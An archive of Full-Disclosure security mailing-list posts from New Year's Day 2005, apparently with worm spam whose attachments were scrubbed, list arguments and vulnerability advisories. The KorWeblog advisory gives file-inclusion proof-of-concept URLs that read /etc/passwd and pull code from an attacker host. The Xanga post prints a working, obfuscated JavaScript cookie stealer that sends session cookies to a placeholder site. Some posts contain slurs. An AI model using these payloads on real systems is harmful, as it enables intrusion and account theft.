From peak at argo.troja.mff.cuni.cz  Sat Jan  1 09:20:55 2005
From: peak at argo.troja.mff.cuni.cz (peak at argo.troja.mff.cuni.cz)
Date: Sat, 1 Jan 2005 13:20:55 +0400
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200412251225.iBPCP38O026991@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/3f2a3c11/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 29568 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/3f2a3c11/attachment.wav 

From des_ward at o2.co.uk  Sat Jan  1 00:30:08 2005
From: des_ward at o2.co.uk (Des Ward)
Date: Sat, 1 Jan 2005 00:30:08 GMT
Subject: [Full-Disclosure] Happy new year
Message-ID: <710571186-1104539408-cardhu_blackberry.rim.net-11597-@engine16.bwc.produk.on.blackberry>

Have a guid new year! ;)

Kind regards,

Des Ward


From exibar at thelair.com  Sat Jan  1 03:01:52 2005
From: exibar at thelair.com (Exibar)
Date: Fri, 31 Dec 2004 22:01:52 -0500
Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security
	policyto a -T-
In-Reply-To: <e92364c30412301902414ae069@mail.gmail.com>
Message-ID: <NMEAJDJMDLJLOIOCIKJJKEDAFOAA.exibar@thelair.com>

Item 25 sums it all up.  His parents have no legal recourse to get their
son's account.  I must have missed Mary's post earlier in the week somehow,
vacations will do that to ya :-)

  Heck, they probably already have their son's account information anyway...
I'm sure that someone, somewhere, hacked his account and gave them the
information.  Or maybe they just guessed the PW....

  Ex

> -----Original Message-----
> From: James Tucker [mailto:jftucker at gmail.com]
> Sent: Thursday, December 30, 2004 10:02 PM
> To: Mary Landesman
> Cc: full-disclosure at lists.netsys.com
> Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security
> policyto a -T-
>
>
> I agree wholeheartedly.
>
>
> On Mon, 27 Dec 2004 10:05:55 -0500, Mary Landesman
> <mlande at bellsouth.net> wrote:
> > While I feel great compassion for the deceased Marine's father, I do not
> > believe that grief should override security, privacy, terms of
> service, and
> > good judgement. Any email Justin Ellsworth wished his father to
> have could
> > reasonably be expected to have been sent to his father prior to Justin's
> > death - by Justin, of course. Any email destined for other
> persons is not -
> > nor should it ever be - the property of anyone other than Justin and the
> > person to whom the email was sent.
> >
> > If Justin wanted his father to inherit his email account, he
> would/should
> > have provided his dad with the logon info.
> >
> > Excerpted from Yahoo's ToS agreement:
> > --------------------
> > 21. NO THIRD PARTY BENEFICIARIES
> >
> > You agree that, except as otherwise expressly provided in this
> TOS, there
> > shall be no third party beneficiaries to this Agreement.
> > --------------------
> >
> > And under item 25 (General Information):
> >
> > --------------------
> > No Right of Survivorship and Non-Transferability. You agree
> that your Yahoo!
> > account is non-transferable and any rights to your Yahoo! I.D.
> or contents
> > within your account terminate upon your death. Upon receipt of
> a copy of a
> > death certificate, your account may be terminated and all
> contents therein
> > permanently deleted.
> > --------------------
> >
> > As a Yahoo member, I would expect these terms to be enforced.
> >
> > It is tragic that a father lost his son. It is understandable that the
> > father wishes to gain access to every word his son ever typed. But, no
> > matter how cold it may seem, just because it is understandable
> doesn't make
> > it right.
> >
> > Now, if there were reason to believe that a crime had been committed and
> > that evidence lies in the email, that's a different story. In
> such a case, I
> > believe the email should be turned over to the authorities. But
> absent legal
> > need, turning over email to a grieving parent/spouse/child is a
> dangerous
> > and undesirable precedent.
> >
> > Yahoo should be applauded for protecting the privacy of its members.
> > Frankly, I am shocked that many members of this particular list
> seem to feel
> > otherwise. As it stands, Yahoo's security policy suits me to a -T-.
> >
> > -- Mary
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>



From webmaster at securiteinfo.com  Sat Jan  1 03:07:50 2005
From: webmaster at securiteinfo.com (webmaster at securiteinfo.com)
Date: Sat, 1 Jan 2005 08:37:50 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501010307.j0137ovO004783@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/29df2bb8/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/29df2bb8/attachment.wav 

From blsonne at rogers.com  Sat Jan  1 04:14:43 2005
From: blsonne at rogers.com (Byron L. Sonne)
Date: Fri, 31 Dec 2004 23:14:43 -0500
Subject: [Full-Disclosure] Just a thought (from an autoreply to another
	thread)
In-Reply-To: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
Message-ID: <41D623B3.7060104@rogers.com>

You know, people that set these auto-replies often give out a good 
amount of information (of the social engineering kind and otherwise), if 
someone were to apply themselves...

Schwarzwaelder, Joerg wrote:
> I will not be in the office at least until January 9th, 2005.
> 
> Please send
> - ssh, watchdog and hvu relocation issues to Alexander Bossert
> - firewall issues to "security-support at dregis.com"



From james.cupps at sappi.com  Sat Jan  1 09:36:07 2005
From: james.cupps at sappi.com (james.cupps at sappi.com)
Date: Sat, 1 Jan 2005 15:06:07 +0530
Subject: [Full-Disclosure] Re: Is that your document?
Message-ID: <200501010936.j019a3vO009257@lists.netsys.com>

Can you confirm it?

++++ Attachment: No Virus found
++++ Norton AntiVirus - www.symantec.de

-------------- next part --------------
A non-text attachment was scrubbed...
Name: part6.zip
Type: application/octet-stream
Size: 32008 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/c3ba7a23/attachment.obj 

From xploitable at gmail.com  Sat Jan  1 10:26:25 2005
From: xploitable at gmail.com (n3td3v)
Date: Sat, 1 Jan 2005 10:26:25 +0000
Subject: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s security
	policyto a -T-
In-Reply-To: <NMEAJDJMDLJLOIOCIKJJKEDAFOAA.exibar@thelair.com>
References: <e92364c30412301902414ae069@mail.gmail.com>
	<NMEAJDJMDLJLOIOCIKJJKEDAFOAA.exibar@thelair.com>
Message-ID: <4b6ee931050101022628c4965d@mail.gmail.com>

On Fri, 31 Dec 2004 22:01:52 -0500, Exibar <exibar at thelair.com> wrote:
>  Heck, they probably already have their son's account information anyway...
> I'm sure that someone, somewhere, hacked his account and gave them the
> information.  Or maybe they just guessed the PW....
> 
>  Ex

Because we all know Yahoo! has no account security, so kids aged 15
can hack an account. Yahoo! is like hacking for beginners. Its easy to
do, and therefore a great network to learn skills.. bravo Yahoo!, you
have a use after all.

n3td3v owns you all, even you self proclaimed and so-called experts
and professionals.

*makes rude hand jestures*

;-)


From jkuperus at planet.nl  Sat Jan  1 12:58:24 2005
From: jkuperus at planet.nl (jkuperus at planet.nl)
Date: Sat, 1 Jan 2005 18:28:24 +0530
Subject: [Full-Disclosure] Re: Sample
Message-ID: <200501011258.j01CwIvO010086@lists.netsys.com>

I have corrected your document.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: word_doc.zip
Type: application/octet-stream
Size: 32010 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/0634ab47/attachment.obj 

From phased at mail.ru  Sat Jan  1 15:20:51 2005
From: phased at mail.ru (phased)
Date: Sat, 01 Jan 2005 18:20:51 +0300
Subject: [Full-Disclosure] list noise
In-Reply-To: <1104399367.7918.19.camel@gibson>
Message-ID: <E1Ckl3j-0008nT-00.phased-mail-ru@f13.mail.ru>


I also care about noise, and responding to stupid mails makes it worse.
Every time people send stupid mails like the rm file thing, and people reply to the list, the author was successful in filling the list with crap for a day or so.

If no one replies, then they dont get attention and the people who know their advisories(anyone with common sense) are blatantly crap will not be affected by their nuisance.

You always get a load of emails to the list from people who want to tell everyone they know that an advisory for example was crap, yes we know
thank you, but we are not handing out gold stars today!!!
No need to tell us all every time!!!

phased

-----Original Message-----
From: Barrie Dempster <barrie at reboot-robot.net>
To: full-disclosure at lists.netsys.com
Date: Thu, 30 Dec 2004 09:36:07 +0000
Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand SecureIIS)

> I'd have to agree with the eEye statement on this one. You sent out an
> advisory without disclosing the details, which offers no real benefit to
> anyone. Many people consider this responsible disclosure but that also
> requires you to notify the vendor (there were no @eeye.com's in your
> "to" list but there were a couple of press mailboxes).
> 
> You didn't contact eEye, you didn't release details, you used an
> anonymous address and failed to mention or credit any of the other guys
> in your "testing team", This can only lead us to believe that the
> advisory is fake and only intended to generate bad press for eEye. I
> personally don't care about eEye's PR rating but I do care about the
> level of noise on these lists and I do care about backdoor-ed commercial
> products that are in common use. You may have an issue with eEye and see
> this as revenge. However, I doubt you also have an issue with the many
> admins who probably have spent their holiday season investigating these
> claims, when there are likely more pressing matters to address, such as
> a large stock of alcohol.
> 
> Show us details, or be quiet. If you intended to embarrass eEye the plan
> backfired as any competent professional on this list (there are a few -
> I've heard stories about them) would see this as a shameful attempt and
> would be laughing at you, not eEye.
> 
> Seasons greetings to eEye and all Full Disclosure subscribers - even you
> "Lance Gusto".
> 
> With Regards..
> Barrie Dempster (zeedo) - Fortiter et Strenue
> 
>   http://www.bsrf.org.uk
> 
> [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
> 
> 
> 
> 
> 
> ATTACHMENT: application/pgp-signature ("signature.asc")
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 


From alf1num3rik at yahoo.com  Sat Jan  1 15:57:56 2005
From: alf1num3rik at yahoo.com (Stephen Jimson)
Date: Sat, 1 Jan 2005 07:57:56 -0800 (PST)
Subject: [Full-Disclosure] Microsoft WINS Exploit (port 42) released
Message-ID: <20050101155756.42211.qmail@web41710.mail.yahoo.com>

happy new year for all !

Microsoft WINS Remote Code Execution Exploit
(MS04-045)
http://www.k-otik.com/exploits/20041231.ZUC-WINShit.c.php

worked fine for me against a german windows :-)



		
__________________________________ 
Do you Yahoo!? 
The all-new My Yahoo! - What will yours do?
http://my.yahoo.com 


From muts at inter.net.il  Sat Jan  1 13:40:35 2005
From: muts at inter.net.il (muts)
Date: Sat, 1 Jan 2005 15:40:35 +0200
Subject: [Full-Disclosure] Whoppix 2.6 released - Now available for download
Message-ID: <200501011340.DLA95824@legolas.inter.net.il>

Whoppix is a Knoppix  remaster designed to be a standalone penetration
testing toolkit. 

Whoppix includes a full set of penetration testing tools and a huge
repository of exploits (Framework 2.2, Packetstorm, Securityforest and
Securityfocus exploit archives).

 

You can download Whoppix @ http://www.whoppix.net/download.php, and view
several Whoppix demos online (SWF format) @
http://www.whoppix.net/demo.html.

 

May we all have a blessed new year.

 

Muts

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/2c3562b5/attachment.html 

From mins at fsu.or.kr  Sat Jan  1 14:01:12 2005
From: mins at fsu.or.kr (Choi Min-sung)
Date: Sat, 1 Jan 2005 23:01:12 +0900
Subject: [Full-Disclosure] KorWeblog php injection Vulnerability
Message-ID: <000f01c4f00a$5babee30$3b5f7bdc@fujitsuuxqn22x>

KorWeblog php injection Vulnerability

Release Date : 2004/12/31 (KST)
Last Modified : 2005/01/01 (KST)
Author : Mins (mins at fsu.or.kr)
Product : KorWeblog http://weblog.kldp.org
Vendor-Status: Vendor was contacted but I could not receive reply message.
Vendor-Patches: None
Impact: Attacker can execute arbitrary php code.


Summary
=======
KorWeblog is one of popular blog system in Korea.
The "lng" parameter in "/install/index.php" isn't properly verified, before it is used to include files.
And Attacker does not need "register_globals=On".
So this vulnerability would allow remote user to inject php codes.


Affected Products
=================
korweblog 1.6.2-cvs and prior

- 1st case
php.ini : magic_quotes_gpc = Off

- 2nd case
php.ini : magic_quotes_gpc = On

- 3rd case
php.ini : allow_url_fopen = On


Vendor Status : NOT FIXED
=========================
2004-12-23 Vulnerability found
2004-12-26 Notified vendor.
2004-12-27 Could not receive reply message.
2004-12-27 Mins made temporary patch.
2004-12-29 2nd vendor Contact.
2004-12-30 Release of unoffical patch.
2004-12-31 Offical advisory release.


Details
=======
If "/install/index.php" exists, attacker can execute arbitrary php code.

Part of weak source (/install/index.php)
----
ini_set('magic_quotes_gpc',1);
ini_set('magic_quotes_sybase',0);

include("../include/misc.inc.php");
include("../include/sql.inc.php");
include("include/check.inc.php");

if(!ini_get("register_globals")) {
      include("include/grab_globals.inc.php");
      }

      $url = eregi_replace("(/install/|/install)$","",F_GetBaseURL());
      $path = eregi_replace("(/install/|/install)$","",dirname($_SERVER['SCRIPT_FILENAME']));

      $G_VER = "1.6.2";

      if (!empty($lng)) include("lang/$lng" . ".php");

Keep in mind that the setting magic_quotes_gpc will not work at runtime.
When the "magic_quotes_gpc" is 'Off', attacker can add '%00' to '$lng'.

However if "magic_quotes_gpc" is 'On', attacker can open only '.php' file.
That's right. But attacker is able to use another file.

Part of another same package source (/include/main.inc.php)
----
if (eregi("main.inc.php", $_SERVER['PHP_SELF']))
   die ("You can not access this file directly...");

set_magic_quotes_runtime(0);
ini_set('magic_quotes_gpc',1);
ini_set('magic_quotes_sybase',0);

include("$G_PATH/include/sql.inc.php");
include("$G_PATH/include/layout.inc.php");
include("$G_PATH/include/parser.inc.php");


Proof of Concepts
=================

- 1st case
php.ini : magic_quotes_gpc = Off
http://[victim]/weblog/install/index.php?lng=../../../../../../etc/passwd%00

- 2nd case
php.ini : magic_quotes_gpc = On
http://[victim]/weblog/install/index.php?lng=../../phpinfo

- 3rd case
php.ini : allow_url_fopen = On
http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PATH=http://[hacker]

Solution
========
- remove the install file

- Set "allow_url_fopen" to "Off".

- unoffical patch
mins at hackme:~/public_html/korweblog-1.6.1/install$ cat index.diff
--- index_1_6_1.php     Mon Dec 27 17:31:50 2004
+++ index.php   Mon Dec 27 17:40:51 2004
@@ -18,7 +18,10 @@

 $G_VER = "1.6.1";

-if (!empty($lng)) include("lang/$lng" . ".php");
+if (!empty($lng)) {
+       if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean";
+       include("lang/$lng" . ".php");
+}

 $sql_form ="<P>
        <TABLE><TR><TD COLSPAN=2><B>". _SQL_INPUT ."</B></TD>

Credits
=======
Mins at FSU (mins at fsu.or.kr)



From blackhat_information at yahoo.com  Sat Jan  1 14:43:11 2005
From: blackhat_information at yahoo.com (jonny be good)
Date: Sat, 1 Jan 2005 06:43:11 -0800 (PST)
Subject: [Full-Disclosure] hackers hacking hackers wtf?
Message-ID: <20050101144311.14477.qmail@web90004.mail.scd.yahoo.com>

They call it Project Hatem, their aim to take down as
many Whitehat Security sites as they can. 
They do not believe in full disclosure, and do not
believe the moral values of the Whitehats. All they
believe in is power and destruction.

Well guess what? They got hacked also :P

Check it out:  http://boobys.org



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250


From steven at lovebug.org  Sat Jan  1 15:44:31 2005
From: steven at lovebug.org (Steven)
Date: Sat, 1 Jan 2005 10:44:31 -0500
Subject: [Full-Disclosure] AOL's Online Password Reset feature does not
	fully validate user information
Message-ID: <001201c4f018$c9989d40$9865fea9@island55>

Vendor:   America Online Inc.
Date:     January 1, 2005
Issue:    AOL's Online Password Reset feature does not fully validate user information
URL:      http://www.aol.com 
Advisory: http://www.lovebug.org/aolpwreset_advisory.txt


Service Overview:

This report is in reference to the Online Password Reset that exists for the AOL client for paying user accounts and not AOL Instant Messenger.  I think chances are if you're reading this, you should be familiar that AOL is still the world's largest Internet Service Provider.

Issue:

AOL has an Online Password Reset feature that enables users that have forgotten their password to reset it online.  This features comes by way of a window that may popup if the user has supplied an invalid password two times in a row. (Note: This does not apply when signing on as Guest or at New User).  The first screen that pops up is a word verification screen.  The user must simply write the letters in a box that are displayed from an image.  Upon doing this the user is brought to the next and most important screen in the process.  This is the Member Verification screen where they must enter the First Name, Last Name, and the Daytime and Evening Phone Number along with the Last 4 Digits of their billing method account number or the answer to an account security question (if one is set).  If an account security question is in place, it will only ask the user for the First Name and Last Name, and the answer to the account security question.  It will not ask for the phone numbers or the last four digits of the billing method.

While these may not be the most secure items to ask for to begin with, there is an issue with user input validation.  To successfully reset the password for an account, the user does NOT need to supply the full first or last name.  In fact, only the first letter of both is required.  If the name on my account were Homer Simpson, all I would need to do is type in H and S for the first and last name.  The next issue is that it does not appear to check both daytime and evening phone numbers.  In my limited testing, I have found that you can simply enter one correct phone number in either field and the second phone number does not matter (in fact you can just put 555-555-5555).  However, in their credit it appears that the answer to the security question must be complete and exactly as originally typed. Also, if the last four digits of the billing method comes up, the exact and entire four must be entered correctly for validation.

This results in a problem with only having to supply a limited bit of information to reset a password.  On an even more extreme note, this could also be used to discover information about an account.  The user is given 4 tries to get the information correct to reset the password.  If the user enters some fields correctly but others incorrectly, the Online Reset window will return the correct fields with the previously entered information and leave all invalid fields blank.  This can be used to verify a name, phone number, and billing digits on the account.

Solutions: 

At the login screen intentionally typed your password incorrectly two times.  When the password reset window pops up, enter the word verification and then go to Member Verification screen.  At this point just enter bogus information four times until it boots you off.  This will disable the online reset feature for the screen name since the information was entered incorrectly.  The feature will probably be turned on again at some point after a given period of time, but I believe it is a rather long period of that's the case.  Also, don't use a security question with an easy answer that people might know or is flat out guessable (i.e. What is my favorite color?).


Vendor Response:

After my previous bug reports related to America Online, I noted that I had knowledge of more (and I still do) and would be more than willing to share this information with the vendor if they cared to hear it.  I received a response from AOL not too long after that, but it seems that maintaining the communication is rather difficult for some reason.  The vendor has not been notified of this problem, atleast not until reading this.

My e-mail address hasn't change and works fine: <steven at lovebug.org> | If anyone at AOL is interested in knowing bugs prior to disclosure, feel free to drop me a line.  There's a few more you might like to know about :-)

Credits:

Myself and the year 2005.

Go Hokies! Sugar Bowl Time! :D


-Steven
steven at lovebug.org

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/255a1d15/attachment.html 

From scrotora at hushmail.com  Sat Jan  1 16:29:10 2005
From: scrotora at hushmail.com (Scrotora)
Date: Sat, 01 Jan 2005 17:29:10 +0100
Subject: [Full-Disclosure] Re: Document
Message-ID: <kvwbrwwznljmbsbcquh@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/602934b6/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: You_are_dismissed.cpl
Type: application/octet-stream
Size: 22591 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/602934b6/attachment.obj 

From webmaster at q-cat.com  Sat Jan  1 22:51:19 2005
From: webmaster at q-cat.com (Nick Price)
Date: Sat, 01 Jan 2005 16:51:19 -0600
Subject: [Full-Disclosure] Xanga Cross Site Scripting Vunerability - GNAA
	Security Center
Message-ID: <41D72967.6060402@q-cat.com>

Vendor: Xanga
URL: http://www.xanga.com/
Versions: Current
Remote: Yes
Vendor notified: 04 Nov 2004 at 16:48
Vendor response: NONE

Summary:
~~~~~~~
Xanga is a fully featured blogging system, it
provides great control over look & feel of a users
blog by allowing HTML with only basic checks.
Xanga has well over 2.5 million users and millions
of page views every hour.
A security vulnerability in sitemessage.aspx
allows malicious users to cause a legitimate-looking page to execute external code or display malicious content.


Examples Code:
~~~~~~~~~~~~~~~~~~~~~~~~
http://www.xanga.com/sitemessage.aspx?user=%3Cimg%20src=%22http://www.gnaa.us/images/gnaa.png%22%3E

Impact:
~~~~~
External code can be run from security domain of Xanga.com, possibility of posting malicious content such as fake login forms or malicious scripts.

Vendor:
~~~~~
Vendor was informed months ago but we have recieved no reply.

Credits:
~~~~~
The GNAA Security Team: http://www.gnaa.us/



-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.7 - Release Date: 12/30/2004



From scrotora at hushmail.com  Sat Jan  1 23:19:24 2005
From: scrotora at hushmail.com (Scrotora)
Date: Sun, 02 Jan 2005 00:19:24 +0100
Subject: [Full-Disclosure] Re: Thank you!
Message-ID: <tbaseqcqyaicfzvwjfm@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/e52ab7ce/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: I_search_for_you.scr
Type: application/octet-stream
Size: 20644 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/e52ab7ce/attachment.obj 

From stfunub at gmail.com  Sat Jan  1 23:19:12 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Sat, 1 Jan 2005 23:19:12 +0000
Subject: [Full-Disclosure] Just a thought (from an autoreply to another
	thread)
In-Reply-To: <41D623B3.7060104@rogers.com>
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
	<41D623B3.7060104@rogers.com>
Message-ID: <33713abc0501011519748bc06@mail.gmail.com>

Indeed, but as mentioned in another FD post (something along the lines
of "don't mind me, just getting the xmas auto replies") how many do we
know aren't honey pots? or being closely monitored? It could alll be
an elaborate scheme..


On Fri, 31 Dec 2004 23:14:43 -0500, Byron L. Sonne <blsonne at rogers.com> wrote:
> You know, people that set these auto-replies often give out a good
> amount of information (of the social engineering kind and otherwise), if
> someone were to apply themselves...
> 
> Schwarzwaelder, Joerg wrote:
> > I will not be in the office at least until January 9th, 2005.
> >
> > Please send
> > - ssh, watchdog and hvu relocation issues to Alexander Bossert
> > - firewall issues to "security-support at dregis.com"
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


-- 
zxy_rbt2


From nodialtone at comcast.net  Sun Jan  2 00:39:48 2005
From: nodialtone at comcast.net (Byron Copeland)
Date: 01 Jan 2005 19:39:48 -0500
Subject: [Full-Disclosure] Win32 based
Message-ID: <1104626388.15531.14.camel@Stargate>

War-Dialer - Complete Source Code available:

http://home.comcast.net/~nodialtone/

-b

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/ab935b14/attachment.bin 

From gerryniger at gmail.com  Sun Jan  2 01:46:04 2005
From: gerryniger at gmail.com (gnaa/rkz)
Date: Sun, 2 Jan 2005 01:46:04 +0000
Subject: [Full-Disclosure] Xanga Cookie Stealing Vunerability XSS - GNAA
	Security Center
Message-ID: <affebc6f050101174614ecea28@mail.gmail.com>

Vendor: Xanga
URL: http://www.xanga.com/
Versions: Current
Remote: Yes
vendor notified: 06 Oct 2004 at 14:08
Vendor response: NONE

Summary:
~~~~~~~
Xanga is a fully featured blogging system, it
provides great control over look & feel of a users
blog by allowing HTML with only basic checks.
Xanga has well over 2.5 million users and millions
of page views every hour.
A security vulnerability in the current system
allows malicious users to steal session cookies
===================================

Examples Code:
~~~~~~~~~~~~~~~~~~~~~~~~
Pre-reqs:
* Create an Account, this does not require a valid email.

1. Click Look & Feel on the lefthand navigation bar
2. In the "Insert your own HTML" Box enter for following code.
~~~~~~~~~~~~CUT AFTER HERE~~~~~~~~~~~~~~~~~
<script>
var gt = "<";
var e1 = "scr";
var e2 = "ipt";
var lt = ">";
var if1 = "ifr";
var if2 = "ame";
document.write(gt + e1 + e2 + lt);
document.write("var jewsdidwtc = documen");
document.write("t.cook");
document.write("ie.split(\';\');");
document.write("<\/script>");
// WRITE COOKIE TO TOP OF SCREEN.
document.write(jewsdidwtc);
var quot = '"'
// THE FOLLOWING CODE DEMONSTRATES HOW
// TO STEAL THE COOKIE, "SOMESITE" SHOULD
// BE A SITE WHERE YOU CAN TAIL THE LOGS
// OR MAYBE WRITE A SPECIFIC SCRIPT TO
// CAPTURE THE ARGUMENTS PROVIDED

var url = "http://SOMEWEBSITE/";
document.write(gt + if1 + if2);

document.write(" src=" + url + "?guid=");
// --- get guid ---
var GUID = "GUID=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(GUID) == 0) var GUIDval = c.substring(GUID.length,c.length);
}
// --- get username ---
var USER = "u=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(USER) == 0) var USERval = c.substring(USER.length,c.length);
}
// --- get sessionid ---
var SESS = "x=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(SESS) == 0) var SESSval = c.substring(SESS.length,c.length);
}
document.write(GUIDval);
document.write("&u=" + USERval);
document.write("&x=" + SESSval);
document.write(quot);
document.write(" WIDTH=1 HEIGHT=1" + lt);

</script>
~~~~~~~~~~~~END CUT HERE~~~~~~~~~~~~~~~~~
=========================================

Impact:
~~~~~
This code just shows how to steal session cookies, it would
seem that getting hits to a malicious users blog could be quite
hard. This is not the case. When combined with existing Xanga
exploits: 1. http://homepage.ntlworld.com/allencastro/autoreg.gnaa
             2. http://homepage.ntlworld.com/allencastro/xanga.gnaa
could potentially generate thousands of hits and even become
featured on Xanga's front page (due to popularity of page).
Meaning the attacker could get thousands of logins in a
few hours.

Vendor:
~~~~~
Vendor was informed months ago but we have recieved no reply.

Credits:
~~~~~
K5 Article on Xanga: http://www.kuro5hin.org/story/2004/12/28/161214/43
The GNAA Security Team: http://www.gnaa.us/


From pauls at utdallas.edu  Sat Jan  1 20:18:47 2005
From: pauls at utdallas.edu (Paul Schmehl)
Date: Sat, 01 Jan 2005 14:18:47 -0600
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products
	(IRISand SecureIIS)
In-Reply-To: <1104399367.7918.19.camel@gibson>
References: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.c
	om> <1104399367.7918.19.camel@gibson>
Message-ID: <2147483647.1104589127@[172.16.1.36]>

--On Thursday, December 30, 2004 9:36 AM +0000 Barrie Dempster 
<barrie at reboot-robot.net> wrote:

> I'd have to agree with the eEye statement on this one. You sent out an
> advisory without disclosing the details, which offers no real benefit to
> anyone. Many people consider this responsible disclosure but that also
> requires you to notify the vendor (there were no @eeye.com's in your
> "to" list but there were a couple of press mailboxes).

Your entire post could be classified as casting perls before swine.

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu


From pingywon at hotmail.com  Sat Jan  1 20:35:25 2005
From: pingywon at hotmail.com (pingywon MCSE)
Date: Sat, 1 Jan 2005 15:35:25 -0500
Subject: [Full-Disclosure] Just a thought (from an autoreply to
	anotherthread)
In-Reply-To: <41D623B3.7060104@rogers.com>
Message-ID: <BAY15-DAV455FBC79B3452461DBF04D09E0@phx.gbl>

He's just letting us all know how important he is. It takes 2 people to
handle everything he can handle while there.

Ill be sure to contact Alexander with my ssh problem

~pingywon 
-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Byron L.
Sonne
Sent: Friday, December 31, 2004 23:15
To: Schwarzwaelder, Joerg; full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Just a thought (from an autoreply to
anotherthread)

You know, people that set these auto-replies often give out a good 
amount of information (of the social engineering kind and otherwise), if 
someone were to apply themselves...

Schwarzwaelder, Joerg wrote:
> I will not be in the office at least until January 9th, 2005.
> 
> Please send
> - ssh, watchdog and hvu relocation issues to Alexander Bossert
> - firewall issues to "security-support at dregis.com"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

-- 
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.299 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.299 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 


From nodialtone at comcast.net  Sat Jan  1 21:47:25 2005
From: nodialtone at comcast.net (Byron Copeland)
Date: 01 Jan 2005 16:47:25 -0500
Subject: [Full-Disclosure] Just a reminder
Message-ID: <1104616044.15531.5.camel@Stargate>

PowerTerm Source Code is still available.

http://home.comcast.net/~nodialtone/

-b

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/a423f968/attachment.bin 

From jan.muenther at nruns.com  Sun Jan  2 02:43:45 2005
From: jan.muenther at nruns.com (jan.muenther at nruns.com)
Date: Sun, 2 Jan 2005 08:13:45 +0530
Subject: [Full-Disclosure] I love you!
Message-ID: <200501020243.j022hkvO015500@lists.netsys.com>

lovely, :-)

-------------- next part --------------
A non-text attachment was scrubbed...
Name: letter43.txt .scr
Type: application/octet-stream
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/d0b4153d/attachment.obj 

From blsonne at rogers.com  Sun Jan  2 03:57:02 2005
From: blsonne at rogers.com (Byron L. Sonne)
